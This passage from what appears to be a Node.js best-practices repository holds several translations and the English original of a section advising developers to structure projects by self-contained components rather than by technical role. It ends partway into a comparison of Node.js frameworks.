    "content": "# Antolatu zure proiektua atal eta osagai txikiagotan\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nTamaina ertaineko nahiz handiko aplikazioetarako, monolitoak benetan kaltegarriak dira. Menpekotasun asko dituen software handi bat edukitzea zaila da hausnartzeko eta maiz espageti kodea eragiten du. Arkitekto azkarrek ere, piztia mantsotzeko eta zatikatzeko haina gaitasun dituztenek, diseinuan esfortzu mental handiak egiten dituzte, eta aldaketa bakoitzak menpeko beste objektuekiko eragina arretaz aztertzea eskatzen du. Azken  irtenbidea software txikia garatzean datza: banandu kode pila osoa fitxategiak beste inorekin partekatzen ez dituzten aparteko osagaietan, bakoitza fitxategi gutxi batzuekin osatua egonik (APIa, zerbitzuak, datuen sarbidea, egiaztatzeak, etab.) oso erraza da hausnartzeko. Askok 'mikrozerbitzu' egitura deitzen diote horri, garrantzitsua da ulertzea mikrozerbitzuak oinarri sorta bat direla eta ez derrigorrez jarraitu beharreko zehaztapenak. Printzipio ugari erabil ditzakezu mikrozerbitzudun egitura handi batean edota gutxi batzuk soilik. Biak dira zuzenak zure softwarearen konplexutasuna baxua den bitartean. Gutxienez, egin zenezakeen beste zerbait da osagaien artean oinarrizko mugak sortzea, zure proiektuaren erroan karpeta bat egokitzea osagai logiko bakoitzarentzat eta autonono bihurtzea: beste osagaiek haren funtzionalitatea erabili ahal izango dute soilik bere interfaze publikotik edo APItik pasatuz. Hori oinarrizkoa da zure osagaiak sinpleak izateko, menpekotasunen korapiloa ekiditeko eta zure aplikazioa mikrozerbitzu egitura handietarako prestatzeko.\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Eskalatzeak aplikazio osoaren eskalatzea eskatzen du\"\r\n\r\n[MartinFowler.com](https://martinfowler.com/articles/microservices.html) bloga\r\n\r\n> Aplikazio monolitikoak arrakastatsuak izan daitezke, baina jendeak gero eta frustrazio gehiago ditu beraiekin, batez ere gero eta aplikazio gehiago inplementatzen direlako lainoan. Aldaketa zikloak elkarrekin lotuta daude: aplikazioaren zati txiki batean egindako aldaketak monolito osoa birsortzea eta inplementatzea eskatzen du. Askotan zaila da denbora aurrera joan ahala moduluzko egitura egokia mantentzea, modulu batean bakarrik eragina izango dituzten aldaketak mantentzea. Eskalatzeak aplikazio osoaren eskalatzea eskatzen du\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Zergatik egiten du garrasi zure aplikazioaren egiturak?\"\r\n\r\n[uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) bloga\r\n\r\n> ...Liburutegi baten egitura begiratuko bazenu, ziurrenik sarrera handi batekin aurkituko zinateke, erregistro bulego lekuekin, irakurketa lekuekin, biltzar toki txikiekin, eta liburutegiko liburu guztiak edukitzeko beste apal dituzten galeria ugarirekin. Egitura horrek honakoa oihukatu beharko luke: Liburutegia.<br/>\r\n\r\nBeraz, zer oihukatzen du zure aplikazioaren egiturak? Zure direktorioko egituraren maila altuena eta maila altueneko paketeko iturburu fitxategiak begiratzen dituzunean, zer oihukatzen dute: Osasun Sistema, Kontabilitate Sistema edo Inbentarioa Kudeatzeko Sistema? Edo zera oihukatzen al dute: Rails, Spring/Hibernate edo ASP?\r\n\r\n<br/><br/>\r\n\r\n### Zuzena: antolatu zure proiektua aparteko osagaietan\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Antolatu proiektua osagaietan\")\r\n\r\n<br/><br/>\r\n\r\n### Okerra: taldekatu zure fitxategiak rol teknikoen arabera\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Antolatu proiektua rol teknikoen arabera\")\r\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.brazilian-portuguese.md",
    "content": "# Estruture sua solução por componentes\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nPara aplicações de tamanho médio e acima, os monólitos são muito ruins - ter um grande software com muitas dependências é difícil de avaliar e, muitas vezes, leva ao código de espaguete. Mesmo arquitetos inteligentes - aqueles que são habilidosos o suficiente para domar a fera e \"modulá-la\" - gastam muito esforço mental no projeto, e cada mudança requer uma avaliação cuidadosa do impacto em outros objetos dependentes. A solução final é desenvolver um software pequeno: dividir a pilha inteira em componentes independentes que não compartilham arquivos com outros, cada um constituindo poucos arquivos (por exemplo, API, serviço, acesso a dados, teste, etc.), de modo que é muito fácil de entender. Alguns podem chamar isso de arquitetura de 'microserviços' - é importante entender que os microsserviços não são uma especificação que você deve seguir, mas sim um conjunto de princípios. Você pode adotar muitos princípios em uma arquitetura completa de microsserviços ou adotar apenas alguns. Ambos são bons, desde que você mantenha baixa a complexidade do software. O mínimo que você deve fazer é criar bordas básicas entre os componentes, atribuir uma pasta na raiz do projeto para cada componente de negócios e torná-lo independente - outros componentes podem consumir sua funcionalidade somente por meio de sua interface pública ou API. Esta é a base para manter seus componentes simples, evitar o inferno de dependências e preparar o caminho para microsserviços completos no futuro, assim que seu aplicativo crescer.\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"O escalonamento requer escalonamento de todo o aplicativo\"\r\n\r\n Do blog [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\r\n\r\n> Aplicações monolíticas podem ser bem-sucedidas, mas cada vez mais as pessoas estão sentindo frustrações com elas - especialmente à medida que mais aplicativos são implantados na nuvem. Os ciclos de mudança estão interligados - uma alteração feita em uma pequena parte do aplicativo requer que todo o monólito seja reconstruído e implantado. Ao longo do tempo, muitas vezes é difícil manter uma boa estrutura modular, tornando mais difícil manter as alterações que devem afetar apenas um módulo dentro desse módulo. O escalonamento requer escalonamento de todo o aplicativo, em vez de partes dele que exigem maior recurso.\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Então, o que a arquitetura do seu aplicativo grita?\"\r\n\r\n Do blog [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) \r\n\r\n> ...se você estivesse olhando para a arquitetura de uma biblioteca, provavelmente veria uma grande entrada, uma área para funcionários de check-in-out, áreas de leitura, pequenas salas de conferência e galeria após galeria, capaz de guardar estantes de livros para todos os livros. a biblioteca. Essa arquitetura iria gritar: Biblioteca.<br/>\r\n\r\nEntão, o que a arquitetura da sua aplicação grita? Quando você olha para a estrutura de diretório de nível superior e os arquivos de origem no pacote de nível mais alto; Eles gritam: sistema de saúde ou sistema de contabilidade ou sistema de gerenciamento de estoque? Ou eles gritam: Rails, ou Spring/Hibernate, ou ASP?.\r\n\r\n<br/><br/>\r\n\r\n### Bom: estruture sua solução por componentes independentes\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Solução de estruturação por componentes\")\r\n\r\n<br/><br/>\r\n\r\n### Ruim: Agrupe seus arquivos por papel técnico\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Solução de estruturação por funções técnicas\")\r\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.chinese.md",
    "content": "# 组件式构建你的解决方案\n\n<br/><br/>\n\n\n### 一段解释\n\n对于中等规模的应用程序及以上，一个代码库是非常糟糕的 - 一个包含很多依赖的大型软件很难理解，往往导致代码混乱。即使是那些擅长解决复杂问题和 \"模块化\" 的聪明架构师 - 在设计上花费了很大的脑力, 每一个变化都需要仔细评估对其他依赖对象的影响。最终的解决方案是开发小型软件：将整个堆栈划分为独立的组件，这些组件不与其他组件共享文件，每个组件由很少的文件构成（例如API、服务、数据访问、测试等），因此很容易理解它。有些人可能称之为 \"microservices\" 架构 - 重要的是要理解 microservices 不是一个你必须遵循的规范，而是一套原则。您可以将许多原则引入到成熟的 microservices 体系结构中, 或者只采用少数几个。只要您保持软件的复杂性低, 两者都是好的。最起码应该做的是在组件之间创建一个基本边界, 为每个业务组件在项目根目录中分配一个文件夹, 并使其自包含-其他组件只能通过其公共接口或 API 使用其功能。这是保持您的组件简单的基础，在未来, 一旦您的应用程序增长，避免依赖性地狱，为全面的 microservices 架构铺平了道路.\n\n<br/><br/>\n\n\n### 博客引用: \"伸缩需要对整个应用程序进行伸缩设计\"\n 摘自博客 [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\n\n > 单个应用程序可以成功, 但越来越多的人对它们感到失望 - 尤其是随着更多的应用程序被部署到云中。更改周期被捆绑在一起 - 对应用程序的一小部分进行更改, 需要重建和部署整个整体。随着时间的推移, 通常很难保持一个良好的模块化结构, 这使得更改哪怕只会影响该模块中的一个模块变得更加困难。伸缩设计需要扩展整个应用程序, 而不是它的部分，这往往需要更多资源。\n\n <br/><br/>\n \n ### 博客引用: \"那么, 你的应用程序的架构声明了什么?\"\n 摘自博客 [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) \n \n> ...如果你正在寻找一个图书馆的建筑架构, 你可能会看到一个盛大的入口, 一个 check-in-out 的文员, 阅读区, 小会议室, 画廊, 画廊后面容纳了装载所有图书馆书籍的书架。建筑会声明: 图书馆.<br/>\n那么, 应用程序的体系架构会声明什么呢？ 当您查看顶级目录结构和最高级别包中的源文件时; 他们声明: 医疗保健系统, 或会计系统, 或库存管理系统？ 或者他们声明: Rails, 或Spring/Hibernate, 或 ASP？.\n\n\n<br/><br/>\n\n ### 推荐: 通过独立组件构建解决方案\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\n\n\n <br/><br/> \n\n### 避免: 按技术角色对文件进行分组\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.french.md",
    "content": "# Organisez votre projet en composants\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nPour les applications de taille moyenne et supérieure, les monolithes sont vraiment mauvais - avoir un gros logiciel avec de nombreuses dépendances est difficile à appréhender et mène souvent à du code spaghetti. Même les architectes intelligents - ceux qui sont suffisamment qualifiés pour apprivoiser la bête et la « modulariser » - consacrent un temps considérable à sa conception, et chaque changement nécessite d'évaluer soigneusement l'impact sur d'autres objets dépendants. La solution ultime est de développer de petits logiciels : divisez la pile entière en composants autonomes qui ne partagent pas de fichiers avec d'autres, chacun constituant très peu de fichiers (par exemple API, service, accès aux données, test, etc.) de sorte qu'il soit très facile à raisonner à ce sujet. Certains peuvent appeler cette architecture de « microservices » - il est important de comprendre que les microservices ne sont pas une spécification que vous devez suivre, mais plutôt un ensemble de principes. Vous pouvez adopter tous les principes dans une architecture de microservices ou en adopter seulement quelques-uns. Les deux sont bons tant que la complexité du logiciel est faible. Le moins que vous puissiez faire est de créer des frontières de base entre les composants, d'assigner un dossier à la racine de votre projet pour chaque composant métier et de le rendre autonome - les autres composants ne sont autorisés à utiliser ses fonctionnalités que via son interface publique ou son API. C'est la base pour garder vos composants simples, éviter l'enfer des dépendances et ouvrir à l'avenir la voie à des véritables microservices une fois que votre application se développera.\n\n<br/><br/>\n\n### Citation de blog : « La mise à l'échelle nécessite la mise à l'échelle de l'application entière »\n\n Extrait du blog de [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\n\n> Les applications monolithiques peuvent réussir, mais de plus en plus de personnes ressentent des frustrations à leur égard, d'autant plus que davantage d'applications sont déployées dans le cloud. Les cycles de changement sont liés les uns aux autres - une modification apportée à une petite partie de l'application nécessite la reconstruction et le déploiement du monolithe entier. Au fil du temps, il est souvent difficile de conserver une bonne structure modulaire, ce qui rend plus difficile la conservation des modifications qui ne devraient affecter qu'un module au sein de ce module. La mise à l'échelle nécessite la mise à l'échelle de l'application entière plutôt que les parties concernées, cela nécessitent donc plus de ressources.\n\n<br/><br/>\n\n### Citation de blog : « Alors, est-ce que est l'architecture de votre application parle d'elle-même ? »\n\n Extrait du blog de [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html)\n\n> ...si vous regardiez l'architecture d'une bibliothèque, vous verriez probablement une grande entrée, un espace pour les préposés à l'enregistrement, des salles de lecture, de petites salles de conférence et des galeries pouvant accueillir tous les livres de la bibliothèque. Cette architecture parle d'elle-même : c'est une Bibliothèque.<br/>>\n\nAlors, est-ce que est l'architecture de votre application parle d'elle-même ? Quand vous regardez la structure du répertoire du niveau supérieur, et les fichiers sources dans le paquet du niveau supérieur, est-ce qu'ils parlent d'eux-mêmes : c'est un système de soins de santé, un système de comptabilité ou un système de gestion des stocks ? Ou est-ce qu'ils vous parlent de : Rails, Spring/Hibernate ou ASP ?\n\n<br/><br/>\n\n### Bon : Organisez votre solution avec des composants autonomes\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Solution d'organisation par composants\")\n\n<br/><br/>\n\n### Mauvais : Regroupez vos fichiers selon leur rôle technique\n\n![alt text](../../assets/images/structurebyroles.PNG \"Solution d'organisation par rôles techniques\")\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.japanese.md",
    "content": "# コンポーネントによりソリューションを構築する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n中規模以上のアプリでは、モノリスは本当に良くありません - 1つの大きなソフトウェアに多くの依存関係を持たせることにより、推論が難しくなり、スパゲッティコードになってしまうことが多いからです。賢いアーキテクト — 獣を飼いならして「モジュール化」するのに十分なスキルを持った人 — であっても、設計には多大な精神的な努力を費やし、変更ごとに他の従属オブジェクトへの影響を慎重に評価する必要があります。究極の解決策は、小さなソフトウェアを開発することです: スタック全体が、他の人とファイルを共有しない自己完結型のコンポーネントに分割されており、それぞれが非常に少ないファイル (例えば、API、サービス、データアクセス、テストなど) で構成されているので、それらについての推論が非常に簡単になります。これを「マイクロサービス」アーキテクチャと呼ぶ人もいるかもしれませんが、マイクロサービスは従わなければならない仕様ではなく、一連の原則であることを理解することが重要です。多くの原則を採用して本格的なマイクロサービスアーキテクチャを構築することもできますし、いくつかの原則だけを採用することもできます。ソフトウェアの複雑さを低く抑えていれば、どちらも良いでしょう。最低限すべきことは、コンポーネント間に基本的な境界線を作り、プロジェクトのルートに各ビジネスコンポーネント用のフォルダを割り当て、それを自己完結型にすることです - 他のコンポーネントは、パブリックインタフェースまたは API を介してのみ、その機能を使用することができます。 これは、コンポーネントをシンプルに保ち、依存関係の地獄を回避し、アプリが成長すれば、将来的に本格的なマイクロサービスへの道を開くための基礎となります。\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"Scaling requires scaling of the entire application\" (スケーリングにはアプリケーション全体のスケーリングが必要)\r\n\r\n ブログ [MartinFowler.com](https://martinfowler.com/articles/microservices.html) より\r\n\r\n> モノリシック・アプリケーションは成功を収めることができますが、人々はモノリシック・アプリケーションに不満を感じるようになってきています - 特に多くのアプリケーションがクラウドにデプロイされるようになってきているためです。変更サイクル同士は連動しています - アプリケーションのごく一部に変更を加えると、モノリス全体を再構築してデプロイする必要があります。時間が経つにつれて、良いモジュール構造を維持することが難しくなり、そのモジュール内の1つのモジュールだけに影響するように変更を維持することが難しくなります。スケーリングでは、アプリケーションの一部だけでなく、アプリケーション全体を拡張する必要があり、多くの場合、より多くのリソースを必要とします。\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"So what does the architecture of your application scream?\" (では、アプリケーションのアーキテクチャは何を叫んでいるのでしょうか?)\r\n\r\n ブログ [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html)  より\r\n\r\n> ...図書館の建築を眺めていると、あなたはおそらく壮大な入り口、図書館員のためのエリア、読書エリア、小さな会議室、そしてギャラリーの奥には図書館の本をすべて収納した棚があるのが見えるだろう。その建築は悲鳴を上げるだろう。図書館と。<br/>\r\n\r\nでは、アプリケーションのアーキテクチャはどんな悲鳴を上げているのでしょうか？ 最上位のディレクトリ構造と最上位のパッケージのソースファイルを見たとき、ヘルスケアシステム、会計システム、在庫管理システム などと叫んでいませんか？ それとも、次のように叫んでいるでしょうか。Rails、Spring/Hibernate、ASP ?\r\n\r\n<br/><br/>\r\n\r\n### 良い: 自己完結型のコンポーネントでソリューションを構築する\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"コンポーネントによるソリューションの構築\")\r\n\r\n<br/><br/>\r\n\r\n### 悪い: 技術的な役割ごとにファイルをグループ化\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"技術的な役割によるソリューションの構築\")\r\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.korean.md",
    "content": "# 컴포넌트 기반으로 설계하라\n\n<br/><br/>\n\n### 한문단 설명\n\n중소규모 이상의 앱부터는 단일암체 monolith는 정말 좋지 않다 - 의존성이 여럿 있는 커다란 하나의 소프트웨어를 쓰는 것은 꼬일대로 꼬인 스파게티 코드를 초래한다. 이 괴물을 '모듈화'하여 길들일만큼 숙련된 똑똑한 설계자들조차 디자인에 엄청난 정신력을 쏟아붓고, 모든 변화는 다른 의존하는 프로젝트에 어떤 영향을 미치는지 신중히 감정할것을 필요로 한다. 궁극적인 해결책은 소규모의 소프트웨어를 개발하는 것이다: 스택 전체를 다른이들과 파일을 공유하지 않는 자족적(self-contained)인 컴포넌트로 나누고, 추론하기 쉽게 극소수의 파일로만 구성되어야 한다 (예: API, 서비스, 데이터 접근, 테스트 등). 이것을 \"마이크로서비스\" 설계라고 부르기도 하는데, 마이크로서비스는 따라야 하는 사양이 아니라 원칙들이란 것을 아는 것이 중요하다. 원칙을 여럿 받아들여 완전한 마이크로서비스 설계를 할 수도 있고, 아니면 그 중 소수만 받아들일 수도 있다. 소프트웨어의 복잡하게 하지 않는 한 둘 다 좋은 방법이다. 최소한 컴포넌트 사이에 경계를 나누고, 프로젝트 최상위 루트에 각각의 비지니스 컴포넌트를 각기 다른 폴더에 배치하여 다른 컴포넌트들은 공용 인터페이스나 API로만 기능을 소비할 수 있게  자족적으로 만들 것. 이것이 컴포넌트를 간단하게 하고, 의존성 지옥을 방지하며 미래에 앱이 완전한 마이크로서비스로 자라나는 길을 닦는 기반이다.\n\n<br/><br/>\n\n### 블로그 인용: \"확장하려면 애플리케이션 전체를 확장해야한다\"\n\n[MartinFowler.com](https://martinfowler.com/articles/microservices.html) 블로그로부터\n\n> 단일암체 애플리케이션도 성공적일 수 있지만, 점점 더 많은 사람들이 불만을 느끼고 있다 - 특히 더 많은 애플리케이션들이 클라우드로 전개될수록. 변화 주기는 다 같이 묶여 있다 - 애플리케이션의 조그마한 부분을 바꾸면 단일암체 전체를 재건하고 재배치하여야 한다. 시간이 흐를수록 좋은 모듈식의 구조를 유지하는것이 힘들어지고, 모듈 하나에만 작용해야 할 변화가 그 모듈 이내에서만 작용하도록 하는것이 힘들어진다. 더 많은 자원을 필요로 하는 부분만 확장하는 것이 아니라, 확장하려면 애플리케이션 전체를 확장해야한다.\n\n<br/><br/>\n\n### 블로그 인용: \"그러니 당신의 어플리케이션의 설계를 보면 어떤 감이 오는가?\"\n\n[uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) 블로그로부터\n\n> ...도서관 설계도를 보면, 아마도 커다란 입구, 체크인/체크아웃 구역, 독서실, 소규모 회의실들, 도서관의 모든 책을 수용할 수 있게 책꽂이들을 놓을 만한 공간들이 보일 것이다. 설계도를 보면 도서관이라고 바로 감이 올 것이다.<br/>\n\n그러니 당신의 어플리케이션의 설계를 보면 어떤 감이 오는가? 최상위 디렉토리 구조와 최고위 레벨의 패키지의 소스 파일을 보면 건강 관리 시스템인지, 회계 시스템인지, 재고관리 시스템인지 바로 감이 오는가? 아니면 Rails이나 Spring/Hibernate, 혹은 ASP라는 감이 오는가?.\n\n<br/><br/>\n\n### 좋은예: 자족적인 컴포넌트 기반으로 설계하라\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\n\n<br/><br/>\n\n### 나쁜예: 파일을 기술적인 역할별로 모아라\n\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.md",
    "content": "# Structure your solution by components\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nFor medium sized apps and above, *non-modular* monoliths are really bad - having one big software with 'spaghetti' of dependencies is just hard to reason about. The ultimate solution is to develop smaller software: divide the whole stack into self-contained components that don't share files with others, each is a standalone logical app (e.g. has its own API, service, data access, test, etc.) so that onboarding into it and changing the code is much easier than dealing with the whole system. Some may call this 'microservices' architecture — it's important to understand that microservices are not a spec which you must follow, but rather a set of principles. You may adopt many principles into a full-blown microservices architecture or adopt only a few. The very least you should do is create basic borders between components, assign a folder or repository in your system root for each business component and make it self-contained. Other components are allowed to consume its functionality only through its public interface or API. This is the foundation for keeping your components simple, avoid dependency hell and pave the way to full-blown microservices in the future once your app grows\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"Scaling requires scaling of the entire application\"\r\n\r\n From the blog [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\r\n\r\n> Monolithic applications can be successful, but increasingly people are feeling frustrations with them - especially as more applications are being deployed to the cloud. Change cycles are tied together - a change made to a small part of the application requires the entire monolith to be rebuilt and deployed. Over time it's often hard to keep a good modular structure, making it harder to keep changes that ought to only affect one module within that module. Scaling requires scaling of the entire application rather than parts of it that require greater resource.\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"So what does the architecture of your application scream?\"\r\n\r\n From the blog [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) \r\n\r\n> ...if you were looking at the architecture of a library, you’d likely see a grand entrance, an area for check-in-out clerks, reading areas, small conference rooms, and gallery after gallery capable of holding bookshelves for all the books in the library. That architecture would scream: Library.<br/>\r\n\r\nSo what does the architecture of your application scream? When you look at the top level directory structure, and the source files in the highest level package; do they scream: Health Care System, or Accounting System, or Inventory Management System? Or do they scream: Rails, or Spring/Hibernate, or ASP?.\r\n\r\n<br/><br/>\r\n\r\n### Good: Structure your solution by self-contained components\r\n\r\n```bash\r\nmy-system\r\n├─ apps (components)\r\n│  ├─ orders\r\n│  │ ├─ package.json\r\n│  │ ├─ api\r\n│  │ ├─ domain\r\n│  │ ├─ data-access\r\n│  ├─ users\r\n│  ├─ payments\r\n├─ libraries (generic cross-component functionality)\r\n│  ├─ logger\r\n│  ├─ authenticator\r\n```\r\n\r\n\r\n<br/><br/>\r\n\r\n### Bad: Group your files by technical role\r\n\r\n```bash\r\nmy-system\r\n├─ controllers\r\n│  ├─ user-controller.js\r\n│  ├─ order-controller.js\r\n│  ├─ payment-controller.js\r\n├─ services\r\n│  ├─ user-service.js\r\n│  ├─ order-service.js\r\n│  ├─ payment-service.js\r\n├─ models\r\n│  ├─ user-model.js\r\n│  ├─ order-model.js\r\n│  ├─ payment-model.js\r\n```"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.polish.md",
    "content": "# Skonstruuj swoje rozwiązanie według komponentów\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nW przypadku średnich aplikacji i wyższych monolity są naprawdę złe - posiadanie jednego dużego oprogramowania z wieloma zależnościami jest po prostu trudne do uzasadnienia i często prowadzi do kodu spaghetti. Nawet inteligentni architekci - ci, którzy są wystarczająco wykwalifikowani, aby oswoić bestię i ją „zmodularyzować” - poświęcają wielki wysiłek umysłowy na projektowanie, a każda zmiana wymaga starannej oceny wpływu na inne zależne obiekty. Ostatecznym rozwiązaniem jest opracowanie małego oprogramowania: podziel cały stos na niezależne komponenty, które nie współużytkują plików z innymi, każdy stanowi bardzo niewiele plików (np. API, usługa, dostęp do danych, test itp.), Dzięki czemu jest bardzo łatwo to uzasadnić. Niektórzy mogą nazywać tę architekturę „mikrousługami” - ważne jest, aby zrozumieć, że mikrousługi nie są specyfikacją, której należy przestrzegać, ale raczej zbiorem zasad. Możesz zastosować wiele zasad w pełnej architekturze mikrousług lub zastosować tylko kilka. Oba są dobre, o ile złożoność oprogramowania jest niska. To co, co najmniej powinieneś zrobić, to utworzyć podstawowe granice między komponentami, przypisać folder w katalogu głównym projektu dla każdego komponentu biznesowego i uczynić go samodzielnym - inne komponenty mogą korzystać z jego funkcji tylko za pośrednictwem publicznego interfejsu lub interfejsu API. Jest to podstawa do uproszczenia komponentów, uniknięcia piekła zależności i utorowania drogi do pełnej obsługi mikrousług w przyszłości, gdy Twoja aplikacja się rozwinie.\n<br/><br/>\n\n### Cytat z Bloga: \"Skalowanie wymaga skalowania całej aplikacji\"\n\n Z bloga [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\n\n> Monolithic applications can be successful, but increasingly people are feeling frustrations with them - especially as more applications are being deployed to the cloud. Change cycles are tied together - a change made to a small part of the application requires the entire monolith to be rebuilt and deployed. Over time it's often hard to keep a good modular structure, making it harder to keep changes that ought to only affect one module within that module. Scaling requires scaling of the entire application rather than parts of it that require greater resource.\n\n<br/><br/>\n\n### Cytat z Bloga: \"Więc co krzyczy architektura Twojej aplikacji?\"\n\n Z bloga [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) \n\n> ...if you were looking at the architecture of a library, you’d likely see a grand entrance, an area for check-in-out clerks, reading areas, small conference rooms, and gallery after gallery capable of holding bookshelves for all the books in the library. That architecture would scream: Library.<br/>\n\nWięc co krzyczy architektura twojej aplikacji? Gdy spojrzysz na strukturę katalogów najwyższego poziomu i pliki źródłowe w pakiecie najwyższego poziomu; czy krzyczą: system opieki zdrowotnej, system rachunkowości lub system zarządzania zapasami? A może krzyczą: Railsy, Spring / Hibernate lub ASP ?.\n\n<br/><br/>\n\n### Dobre: Skonstruuj swoje rozwiązanie według samodzielnych komponentów\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\n\n<br/><br/>\n\n### Złe: Pogrupuj pliki według roli technicznej\n\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.russian.md",
    "content": "# Структурируйте свое решение по компонентам\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nДля приложений среднего размера и выше монолиты действительно плохи - иметь одно большое программное обеспечение с множеством зависимостей просто сложно, и это часто приводит к спагетти-коду. Даже умные архитекторы - те, кто достаточно опытен, чтобы приручить зверя и \"модулизируя\" его - тратят большие умственные усилия на проектирование, и каждое изменение требует тщательной оценки воздействия на другие зависимые объекты. Конечным решением является разработка небольшого программного обеспечения: разделите весь стек на отдельные компоненты, которые не делятся файлами с другими, каждый из которых содержит очень мало файлов (например, API, сервис, доступ к данным, тестирование и т.д.), Так что очень легко рассуждать об этом. Некоторые могут назвать эту архитектуру \"микросервисами\" - важно понимать, что микросервисы - это не спецификация, которой вы должны следовать, а скорее набор принципов. Вы можете принять многие принципы в полноценную архитектуру микросервисов или принять только несколько. Оба хороши, если вы сохраняете сложность программного обеспечения на низком уровне. Самое меньшее, что вы должны сделать, это создать базовые границы между компонентами, назначить папку в корне вашего проекта для каждого бизнес-компонента и сделать его автономным - другим компонентам разрешено использовать его функциональные возможности только через открытый интерфейс или API. Это основа для того, чтобы ваши компоненты были простыми, избежать адской зависимости и проложить путь к полноценным микросервисам в будущем, когда ваше приложение будет расти.\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Масштабирование требует масштабирования всего приложения\"\r\n\r\nИз блога [MartinFowler.com](https://martinfowler.com/articles/microservices.html)\r\n\r\n> Монолитные приложения могут быть успешными, но люди все чаще испытывают разочарование в связи с ними, особенно когда в облаке развертывается все бо̀льшие приложений. Циклы изменений связаны друг с другом - изменение, внесенное в небольшую часть приложения, требует перестройки и развертывания всего монолита. Со временем зачастую трудно сохранить хорошую модульную структуру, что усложняет сохранение изменений, которые должны затрагивать только один модуль в этом модуле. Масштабирование требует масштабирования всего приложения, а не его частей, которые требуют больших ресурсов.\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Так что же кричит в архитектуре вашего приложения?\"\r\n\r\nИз блога [uncle-bob](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html) \r\n\r\n> ... если бы вы смотрели на архитектуру библиотеки, вы бы, скорее всего, увидели парадный вход, зону для клерков, места для чтения, небольшие конференц-залы и галерею за галереей, способную вместить книжные полки для все книги в библиотеке. Эта архитектура будет кричать: \"Библиотека!\".<br/>\r\n\r\nТак что же кричит в архитектуре вашего приложения? Когда вы смотрите на структуру каталогов верхнего уровня и исходные файлы в пакете высшего уровня; они кричат: система здравоохранения, или система учета, или система управления запасами? Или они кричат: Rails, или Spring/Hibernate, или ASP?\r\n\r\n<br/><br/>\r\n\r\n### Хорошо: структурируйте свое решение по отдельным компонентам\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\r\n\r\n<br/><br/>\r\n\r\n### Плохо: сгруппируйте файлы по техническим ролям\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\r\n"
  },
  {
    "path": "sections/projectstructre/choose-framework.md",
    "content": "# Consider all the consequences when choosing the main framework\n\n<br/><br/>\n\n### Recommended frameworks: Pros and cons\n\nUnlike other choices, choosing the core framework determines strategic factors like the development style and how likely the team is to hit a wall. We believe that framework popularity is a supreme consideration and put our focus on the top 4 most popular frameworks in terms of downloads and GitHub stars. The text below outlines the pros and cons of each framework and how to match a framework to the right application type\n\n**express.js**\n\nPros: Unmatched popularity; gigantic eco-system of extensions and middleware; simple to learn and use; familiar to almost every Node.js developer; tons of community articles and videos are based on express\n\nCons: Covers a small subset of a typical application needs - merely a web server that invokes the app function per URL. Choosing express means leaving a handful of app concerns uncovered; outdated mechanics - no native support for async-await; barely maintained and updated; Slower than others\n\n**Nest.js**\n\nPros: More batteries than any other option - covers many application concern including message queues, scheduled jobs and more; OOP-style is an advantage for teams who appreciate this design style; awesome docs; well-maintained; high popularity with a vibrant community\n\nCons: High-level abstractions that cloud built-in Node.js conventions; The inclusion of many features, heavy usage of TypeScript and reference to sophisticated patterns might push teams for increased 